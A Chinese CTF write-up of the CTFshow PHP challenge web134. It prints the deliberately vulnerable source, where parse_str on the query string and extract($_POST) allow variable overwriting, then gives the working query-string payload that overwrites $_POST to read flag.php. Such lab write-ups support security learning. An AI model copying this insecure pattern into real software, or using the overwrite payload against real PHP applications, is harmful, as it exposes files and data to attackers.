目錄

• 源碼
• 思路
• 題解
• 總結

---

源碼

<?php/* # -*- coding: utf-8 -*- # @Author: Firebasky # @Date: 2020-10-13 11:25:09 # @Last Modified by: h1xa # @Last Modified time: 2020-10-14 23:01:06*/highlight_file(__FILE__); $key1 = 0; $key2 = 0; if(isset($_GET['key1']) || isset($_GET['key2']) || isset($_POST['key1']) || isset($_POST['key2'])) {die("nonononono"); } @parse_str($_SERVER['QUERY_STRING']); extract($_POST); if($key1 == '36d' && $key2 == '36d') {die(file_get_contents('flag.php')); }

---

思路

這題很簡單，考點還是變量覆蓋

本地測試一下

parse_str($_SERVER['QUERY_STRING']); extract($_POST); var_dump(get_defined_vars());

我們傳入?_POST[a]=1&_POST[b]=12

經過parse_str($_SERVER['QUERY_STRING'])

post中存在了array(2) { ["a"]=> string(1) "1" ["b"]=> string(2) "12" }

經過 extract($_POST);

成功創建變量a，b并覆蓋值

題解

?_POST[key1]=36d&_POST[key2]=36d

``

---

總結

水題

總結

以上是生活随笔為你收集整理的CTFshow php特性 web134的全部內容，希望文章能夠幫你解決所遇到的問題。

如果覺得生活随笔網站內容還不錯，歡迎將生活随笔推薦給好友。